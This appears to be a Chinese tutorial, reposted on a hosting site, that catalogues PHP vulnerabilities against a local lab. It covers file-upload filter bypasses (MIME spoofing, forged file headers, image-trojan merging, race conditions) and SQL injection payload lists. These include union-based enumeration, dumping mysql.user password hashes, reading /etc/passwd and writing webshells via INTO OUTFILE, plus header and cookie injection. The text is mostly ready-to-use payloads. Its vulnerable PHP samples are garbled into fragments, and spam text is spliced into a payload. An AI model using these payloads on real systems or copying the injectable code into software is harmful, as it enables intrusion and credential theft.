PHP常见漏洞代码有哪些


本篇内容介绍了“PHP常见漏洞代码有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成! PHP 文件上传漏洞只验证MIME类型: 代码中验证了上传的MIME类型,绕过方式使用Burp抓包,将上传的一句话小马*.php中的Content-Type:application/php,修改成Content-Type: image/png然后上传.



白名单的绕过: 白名单就是允许上传某种类型的文件,该方式比较安全,抓包上传php后门,然后将文件名改为.jpg即可上传成功,但是有时候上传后的文件会失效无法拿到Shell.

";
else
echo"上传失败
"; } } } ?>


白名单验证文件头: 本关主要是允许jpg/png/gif这三种文件的传输,且代码中检测了文件头的2字节内容,我们只需要将文件的头两个字节修改为图片的格式就可以绕过.通常JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49 以JPEG为例,我们在一句话木马的开头添加两个11也就是二进制的3131,然后将.php修改为.jpg,使用Brup抓包发送到Repeater模块,将HEX编码3131改为FFD8点Send后成功上传JPG.

";
}else
{
$img_path=UPLOAD_PATH."/".rand(10,99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path))
echo"上传完成
"; } } } ?>


绕过检测文件头: 这种方式是通过文件头部起始位置进行匹配的从而判断是否上传,我们可以通过在上传文件前面追加合法的文件头进行绕过,例如在文件开头部位加上GIF89a即可完成绕过,或者如果是xffxd8xff我们需要在文件开头先写上%ff%d8%ff然后,选择特殊字符,右击CONVERT->URL->URL-Decode编码后释放.

";
}else
{
$file_name=$_FILES['upload_file']['name'];
$img_path=UPLOAD_PATH."/".$file_name;
if(move_uploaded_file($temp_file,$img_path))
echo"上传{$img_path}完成
"; } } } ?>


图像检测绕过: 通过使用图像函数,检测文件是否为图像,如需上传则需要保持图像的完整性,所以无法通过追加文件头的方式绕过,需要制作图片木马上传.针对这种上传方式的绕过我们可以将图片与FIG文件合并在一起copy /b pic.gif+shell.php 1.php上传即可绕过.

";
}else
{
$file_name=$_FILES['upload_file']['name'];
$img_path=UPLOAD_PATH."/".$file_name;
if(move_uploaded_file($temp_file,$img_path))
echo"上传{$img_path}完成
"; } } } ?>


上传条件竞争: 这里是条件竞争,先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可

";
}else
{
unlink($upload_file);
echo"上传失败.
"; } } } ?>


PHP 注入漏洞基本查询语句搭建SQL注入演练环境,首先确保MySQL版本为MySQL 5.7以上,并导入下方的数据库脚本自动创建相应的数据库文件.

dropdatabaseifexistslyshark;
createdatabaselyshark;
uselyshark;
droptableifexistslocal_user;
createtablelocal_user(
idint(10)primarykeynotnull,
usernamevarchar(100)notnull,
passwordvarchar(100)notnull,
usremailvarchar(100)notnull,
usertypeint(1)default0
);
alerttablelocal_usercharactersetutf8;
insertintolyshark.local_user(id,username,password,usremail)VALUES(1,"admin",md5("123123"),"admin@163.com"),
(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"),
(4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"),
(6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"),
(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"),
(10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");

接着安装好PHP7.0或以上版本的环境,并创建index.php文件,写入以下测试代码,数据库密码请自行修改.

html>



SQL注入测试代码
序号 用户账号 用户密码 用户邮箱 权限

后端执行SQL语句:'.$sql;?>

Union 查询字段个数: Union可以用于一个或多个SELECT的结果集,但是他有一个条件,就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,也就是说当我们union select的列与它查询的列相同时,页面返回正常.首先我们猜测,当前字段数为4的时候页面无返回,也就说明表字段数必然是大于4的,接着增加一个字段,查询1,2,3,4,5时页面显示正常,说明表结构是5个字段的.

index.php?id=1'and1=0unionselect1,2,3,4--+

index.php?id=1'and1=0unionselect1,2,3,4,5--+
index.php?id=1'and1=0unionselectnull,null,null,null,null--+

Order By查询字段个数: 在SQL语句中是对结果集的指定列进行排序,比如我们想让结果集按照第一列排序就是order by 1按照第二列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进行排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从而报错或无法正常显示.首先我们猜测数据库有6个字段,尝试根据第6行进行排序发现数据无法显示,说明是小于6的,我们继续使用5测试,此时返回了结果.

index.php?id=1'and1orderby6--+
index.php?id=1'and1orderby5--+

大部分程序只会调用数据库查询的第一条语句进行查询然后返回,如果想看到的数据是在第二条语句中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,第二种是通过sql语句直接返回我们想要的数据.第一种我们让第一个查询的结果始终为假,通过使用and 0来实现,或者通过limit语句,limit在mysql中是用来分页的,通过他可以从查询出来的数据中获取我们想要的数据.

index.php?id=1'and0unionselectnull,null,null,null,null--+
index.php?id=1'and0unionselectnull,version(),null,null,null--+

index.php?id=1'unionselectnull,null,null,null,nulllimit1,1--+
index.php?id=1'unionselectnull,version(),null,null,nulllimit1,1--+

查全部数据库名称: MySQL默认将所有表数据放入information_schema.schemata这个表中进行存储,我们可以查询这个表中的数据从而找出当前系统中所有的数据库名称,通过控制limit中的参数即可爆出所有数据库.

index.php?id=1'and0unionselect1,1,database(),1,1--+

index.php?id=1'and0unionselect1,2,3,4,schema_namefrominformation_schema.schematalimit0,1--+
index.php?id=1'and0unionselect1,2,3,4,schema_namefrominformation_schema.schematalimit1,1--+
index.php?id=1'and0unionselect1,2,3,4,schema_namefrominformation_schema.schematalimit2,1--+

查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.

#通过limit限定条件每次只输出一个表名称

index.php?id=1'and0unionselect1,2,3,4,table_name
frominformation_schema.tableswheretable_schema='lyshark'limit0,1--+

index.php?id=1'and0unionselect1,2,3,4,table_name
frominformation_schema.tableswheretable_schema='lyshark'limit1,1--+

#通过concat函数一次性输出所有表
index.php?id=1'and0unionselect1,2,3,4,group_concat(table_name)
frominformation_schema.tableswheretable_schema='lyshark'--+

查询表中字段: 通过使用table_schema和table_name指定查询条件,即可查询到表中字段与数据.

#查询出lyshark数据库local_user表中的,所有字段
index.php?id=1'and0unionselect1,2,3,4,group_concat(column_name)frominformation_schema.columns
>wheretable_schema='lyshark'andtable_name='local_user'--+

#每次读取出一个表中字段,使用limit进行遍历
index.php?id=1'and0unionselect1,2,3,4,column_namefrominformation_schema.columns
>wheretable_schema='lyshark'andtable_name='local_user'limit0,1--+

index.php?id=1'and0unionselect1,2,3,4,column_namefrominformation_schema.columns
>wheretable_schema='lyshark'andtable_name='local_user'limit1,1--+

查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.

index.php?id=1'and0unionselect1,Host,Password,4,5frommysql.userlimit0,1--+
index.php?id=1'and0unionselect1,Host,Password,4,5frommysql.userlimit1,1--+
index.php?id=1'and0unionselect1,2,3,group_concat(id,username),5fromlyshark.users--+

常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.

#-----------------------------------------------------------------------------------
#判断注入点:注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.

index.php?id=1'and1=1--+#提交and判断注入
index.php?id=1'and1=0--+
index.php?id=1%2b1#提交加号判断注入
index.php?id=2-1#提交减号判断注入
index.php?id=1andsleep(5)#延时判断诸如点

#-----------------------------------------------------------------------------------
#判断ROOT权限:判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.
index.php?id=1'andord(mid(user(),1,1))=114--+

#-----------------------------------------------------------------------------------
#判断权限大小:如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.
index.php?id=1'and(selectcount(*)frommysql.user)>0

#-----------------------------------------------------------------------------------
#查询管理密码:查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.
index.php?id=1'and0unionselect1,host,user,password,5frommysql.user--+//5.6以前版本
index.php?id=1'and0unionselect1,host,user,authentication_string,5frommysql.user--+//5.7以后版本

#-----------------------------------------------------------------------------------
#向主站写入一句话:可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.
index.php?id=1'and0unionselect1,load_file("/etc/passwd"),3,4,5--+
index.php?id=1'unionselect1,load_file("/etc/passwd"),3,4,5intooutfile'/var/www/html/a.txt'--+
index.php?id=1'unionselect1,"",3,4,5intooutfile'/var/www/html/shell.php'--+
index.php?id=1'unionselect1,2,3,4,load_file(char(11,116,46,105,110,105))intooutfile'/var/www/html/b.txt'--+

#-----------------------------------------------------------------------------------
#利用MySQL引擎写一句话:通过使用MySQL的存储引擎,以MySQL身份写入一句话
createtableshell(cmdtext);
insertintoshell(cmd)values('');
selectcmdfromshellintooutfile('/var/www/html/eval.php');

#-----------------------------------------------------------------------------------
#常用判断语句:下面是一些常用的注入查询语句,包括查询主机名等敏感操作.
index.php?id=1'unionselect1,1,load_file("/etc/passwd")//加载指定文件
index.php?id=1'unionselect1,1,@@datadir//判断数据库目录
index.php?id=1'unionselect1,1,@@basedir//判断安装根路径
index.php?id=1'unionselect1,1,@@hostname//判断主机名
index.php?id=1'unionselect1,1,@@version//判断数据库版本
index.php?id=1'unionselect1,1,@@version_compile_os//判断系统类型(Linux)
index.php?id=1'unionselect1,1,@@version_compile_machine//判断系统体系(x86)
index.php?id=1'unionselect1,1,user()//曝出系统用户
index.php?id=1'unionselect1,1,database()//曝出当前数据库

GET 注入简单的注入测试: 本关中没有对代码进行任何的过滤.

html>



SQL注入测试代码";
echo"账号:{$row['username']}
"; echo"密码:{$row['password']}
"; echo""; echo"后端执行语句:{$sql}
"; $URL=getCurrentUrl(); echo"后端URL参数:{$URL}
"; } else { echo"后端执行语句:{$sql}
"; print_r(mysql_error()); } } } } ?>

SQL语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.

---------------------------------------------------------------------------------
$sql="selectusername,passwordfromlocal_userwhereid=$idlimit0,1";
http://127.0.0.1/index.php?id=-1unionselect1,version()--+

$sql="selectusername,passwordfromlocal_userwhereid=($id)limit0,1";
http://127.0.0.1/index.php?id=-1)unionselect1,version()--+
http://127.0.0.1/index.php?id=1)and1=(0)unionselect1,version()--+

---------------------------------------------------------------------------------
$sql="selectusername,passwordfromlocal_userwhereid='$id'limit0,1";
http://127.0.0.1/index.php?id=-1unionselect1,version()--+

$sql="selectusername,passwordfromlocal_userwhereid=('$id')limit0,1";
http://127.0.0.1/index.php?id=-免费云主机域名1')unionselect1,version()--+
http://127.0.0.1/index.php?id=1')and'1'=('0')unionselect1,version()--+

$sql="selectusername,passwordfromlocal_userwhereid=(('$id'))limit0,1";
http://127.0.0.1/index.php?id=-1'))unionselect1,version()--+

---------------------------------------------------------------------------------
$id='"'.$id."'";
$sql="selectusername,passwordfromlocal_userwhereid=($id)limit0,1";

http://127.0.0.1/index.php?id=-1")unionselect1,version()--+
http://127.0.0.1/index.php?id=1")and"1"=("0")unionselect1,version()--+

POST 输入框注入:

html>


账号:
密码:

欢迎用户:{$row['username']}密码:{$row['password']}

";
echo"后端执行语句:{$sql}
";
}
else
{
echo"
后端执行语句:{$sql}
";
}
}
}
}
?>

简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.

#---------------------------------------------------------------------------------------------------------
#SQL语句
$sql="selectusername,passwordFROMlocal_userWHEREusername='$uname'andpassword='$passwd'LIMIT0,1";
#---------------------------------------------------------------------------------------------------------

#爆出字段数
admin'orderby1#
admin'orderby2--
admin'and1unionselect1,2,3#
admin'and1unionselect1,2#

#爆出数据库
admin'and0unionselectnull,database()#
admin'and0unionselect1,version()#

#爆出所有表名称(需要注意数据库编码格式)
setcharacter_set_database=utf8;
setcollation_database=utf8_general_ci
altertablelocal_userconverttocharactersetutf8;

'unionselectnull,table_namefrominformation_schema.tableswheretable_schema='lyshark'limit0,1#
'unionselectnull,table_namefrominformation_schema.tableswheretable_schema='lyshark'limit1,1#

#爆出表中字段
'unionselectnull,column_namefrominformation_schema.columnswheretable_name='local_user'limit0,1#
'unionselectnull,column_namefrominformation_schema.columnswheretable_name='local_user'limit1,1#

#继续爆出所有的用户名密码
'unionselectnull,group_concat(username,0x3a,password)fromlocal_user#

#---------------------------------------------------------------------------------------------------------
#双注入-字符型
#此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
$sql="selectusername,passwordFROMlocal_userWHEREusername=($uname)andpassword=($passwd)LIMIT0,1";

#payload
admin")orderby2#
admin")and0unionselect1,version()#
admin")and0unionselect1,database()#

#---------------------------------------------------------------------------------------------------------
#POST型的-双注入
#
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
$sql="selectusername,passwordFROMlocal_userWHEREusername=$unameandpassword=$passwdLIMIT0,1";

admin"and0unionselect1,version()#

Usage-Agent 注入: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生SQL注入问题.

建库>createtableUser_Agent(u_namevarchar(20),u_addrvarchar(20),u_agentvarchar(256));

html>



SQL注入测试代码
账号:
密码:

欢迎用户:{$row['username']}密码:{$row['password']}

";
echo"您的IP地址是:{$IP}
";

$insert_sql="insertintoUser_Agent(u_name,u_addr,u_agent)values('$uname','$IP','$Uagent')";
mysqli_query($connect,$insert_sql);
echo"User_Agent请求头:{$Uagent}
";
}
}
}
}
?>

首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.

POST/post.phpHTTP/1.1
Host:192.168.1.2
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:79.0)Gecko/20100101Firefox/79.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

uname=admin&passwd=123123&submit=Submit

修改agent验证,可被绕过,此处的语句带入数据库变为了insert into User_Agent values(‘1)’,’u_addr’,’u_agent’)有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.

User-Agent:1',1,1)#
uname=admin&passwd=123123&submit=Submit

User-Agent:1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#
uname=admin&passwd=123123&submit=Submit

Cookie 注入: 该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.

html>


账号:
密码:

";
if($query)
{
$row=mysqli_fetch_array($query);
if($row)
{
echo"
COOKIE已登录
";
echo"您的账号:".$row['username']."
";
echo"您的密码:".$row['password']."
";
}
}
}
if(isset($_POST['uname'])&&isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$passwd=md5($passwd);
$sql="selectusername,passwordFROMlocal_userWHEREusername='$uname'andpassword='$passwd'LIMIT0,1";
$query=mysqli_query($connect,$sql);
if($query)
{
$row=mysqli_fetch_array($query);
$cookee=$row['username'];
if($row)
{
setcookie('uname',$cookee,time()+3600);
$format='DdMY-H:i:s';
$timestamp=time()+3600;
echo"COOKIE已设置:".date($format,$timestamp);
}
}
}
}
?>

以下是注入Payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录COOKIE,即可实现利用.

Cookie:uname=admin'and0unionselectdatabase(),2--+
Cookie:uname=admin'and0unionselectversion(),2--+

update-xml注入:

html>



SQL注入测试代码
账号:
密码:

";
}
else
{
echo"
后端执行语句:{$sql}
";
}
}
}
}
?>

“PHP常见漏洞代码有哪些”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注百云主机网站,小编将为大家输出更多高质量的实用文章!

相关推荐: html5中video不支持的格式是什么

这篇“html5中video不支持的格式是什么”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读免费云主机域名完这篇文章能有所收获,下面我们一起来看看这篇“html5中video不支持的格式是什…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 03/09 10:09
下一篇 03/09 10:13

相关推荐